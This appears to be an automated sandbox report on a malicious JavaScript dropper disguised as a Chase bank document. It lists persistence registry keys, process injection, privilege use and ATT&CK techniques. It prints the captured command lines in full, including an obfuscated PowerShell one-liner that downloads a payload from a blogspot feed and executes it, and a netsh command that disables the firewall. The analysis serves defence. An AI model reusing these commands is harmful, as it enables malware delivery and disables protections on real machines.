77109ba56a5e70fafe88a10800764ec30d35727c1ff8cdb2934534ae8c7e048b

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3196661410-1888440797-2304965013-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3196661410-1888440797-2304965013-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3196661410-1888440797-2304965013-1000\Software\Microsoft\Windows\CurrentVersion\Run\Deissl1 = "schtasks /run /tn Deissl1"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

13 api.ipify.org
14 api.ipify.org
17 ip-api.com

flow	ioc
13	api.ipify.org
14	api.ipify.org
17	ip-api.com

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 5020 set thread context of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 set thread context of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 set thread context of 3600	5020	powershell.exe	Msbuild.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 3 IoCs

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3196661410-1888440797-2304965013-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3196661410-1888440797-2304965013-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3196661410-1888440797-2304965013-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exeRegSvcs.exedw20.exedw20.exe

pid	process
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
4544	RegSvcs.exe
4544	RegSvcs.exe
3044	dw20.exe
3044	dw20.exe
1832	dw20.exe
1832	dw20.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeIncreaseQuotaPrivilege	5020	powershell.exe
Token: SeSecurityPrivilege	5020	powershell.exe
Token: SeTakeOwnershipPrivilege	5020	powershell.exe
Token: SeLoadDriverPrivilege	5020	powershell.exe
Token: SeSystemProfilePrivilege	5020	powershell.exe
Token: SeSystemtimePrivilege	5020	powershell.exe
Token: SeProfSingleProcessPrivilege	5020	powershell.exe
Token: SeIncBasePriorityPrivilege	5020	powershell.exe
Token: SeCreatePagefilePrivilege	5020	powershell.exe
Token: SeBackupPrivilege	5020	powershell.exe
Token: SeRestorePrivilege	5020	powershell.exe
Token: SeShutdownPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeSystemEnvironmentPrivilege	5020	powershell.exe
Token: SeRemoteShutdownPrivilege	5020	powershell.exe
Token: SeUndockPrivilege	5020	powershell.exe
Token: SeManageVolumePrivilege	5020	powershell.exe
Token: 33	5020	powershell.exe
Token: 34	5020	powershell.exe
Token: 35	5020	powershell.exe
Token: 36	5020	powershell.exe
Token: SeIncreaseQuotaPrivilege	5020	powershell.exe
Token: SeSecurityPrivilege	5020	powershell.exe
Token: SeTakeOwnershipPrivilege	5020	powershell.exe
Token: SeLoadDriverPrivilege	5020	powershell.exe
Token: SeSystemProfilePrivilege	5020	powershell.exe
Token: SeSystemtimePrivilege	5020	powershell.exe
Token: SeProfSingleProcessPrivilege	5020	powershell.exe
Token: SeIncBasePriorityPrivilege	5020	powershell.exe
Token: SeCreatePagefilePrivilege	5020	powershell.exe
Token: SeBackupPrivilege	5020	powershell.exe
Token: SeRestorePrivilege	5020	powershell.exe
Token: SeShutdownPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeSystemEnvironmentPrivilege	5020	powershell.exe
Token: SeRemoteShutdownPrivilege	5020	powershell.exe
Token: SeUndockPrivilege	5020	powershell.exe
Token: SeManageVolumePrivilege	5020	powershell.exe
Token: 33	5020	powershell.exe
Token: 34	5020	powershell.exe
Token: 35	5020	powershell.exe
Token: 36	5020	powershell.exe
Token: SeIncreaseQuotaPrivilege	5020	powershell.exe
Token: SeSecurityPrivilege	5020	powershell.exe
Token: SeTakeOwnershipPrivilege	5020	powershell.exe
Token: SeLoadDriverPrivilege	5020	powershell.exe
Token: SeSystemProfilePrivilege	5020	powershell.exe
Token: SeSystemtimePrivilege	5020	powershell.exe
Token: SeProfSingleProcessPrivilege	5020	powershell.exe
Token: SeIncBasePriorityPrivilege	5020	powershell.exe
Token: SeCreatePagefilePrivilege	5020	powershell.exe
Token: SeBackupPrivilege	5020	powershell.exe
Token: SeRestorePrivilege	5020	powershell.exe
Token: SeShutdownPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeSystemEnvironmentPrivilege	5020	powershell.exe
Token: SeRemoteShutdownPrivilege	5020	powershell.exe
Token: SeUndockPrivilege	5020	powershell.exe
Token: SeManageVolumePrivilege	5020	powershell.exe
Token: 33	5020	powershell.exe
Token: 34	5020	powershell.exe
Token: 35	5020	powershell.exe
Token: 36	5020	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

wscript.exepowershell.execsc.exeRegSvcs.exeMsbuild.exe

description	pid	process	target process
PID 1468 wrote to memory of 5020	1468	wscript.exe	powershell.exe
PID 1468 wrote to memory of 5020	1468	wscript.exe	powershell.exe
PID 5020 wrote to memory of 3164	5020	powershell.exe	csc.exe
PID 5020 wrote to memory of 3164	5020	powershell.exe	csc.exe
PID 3164 wrote to memory of 600	3164	csc.exe	cvtres.exe
PID 3164 wrote to memory of 600	3164	csc.exe	cvtres.exe
PID 5020 wrote to memory of 4980	5020	powershell.exe	netsh.exe
PID 5020 wrote to memory of 4980	5020	powershell.exe	netsh.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 4544	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 5020 wrote to memory of 524	5020	powershell.exe	RegSvcs.exe
PID 524 wrote to memory of 3044	524	RegSvcs.exe	dw20.exe
PID 524 wrote to memory of 3044	524	RegSvcs.exe	dw20.exe
PID 524 wrote to memory of 3044	524	RegSvcs.exe	dw20.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 5020 wrote to memory of 3600	5020	powershell.exe	Msbuild.exe
PID 3600 wrote to memory of 1832	3600	Msbuild.exe	dw20.exe
PID 3600 wrote to memory of 1832	3600	Msbuild.exe	dw20.exe
PID 3600 wrote to memory of 1832	3600	Msbuild.exe	dw20.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\New_ScanDoc#092387CHASEeAdvice.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm simoubizw.blogspot.com///////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 6
2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5020

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\afko1hso\afko1hso.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3164

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB594.tmp" "c:\Users\Admin\AppData\Local\Temp\afko1hso\CSC8B2C5738380449018CCA3CA651F493C4.TMP"
4⤵
PID:600

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue
3⤵
- Modifies Windows Firewall
PID:4980

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4544

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 704
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3044

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3600

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 704
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1832

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service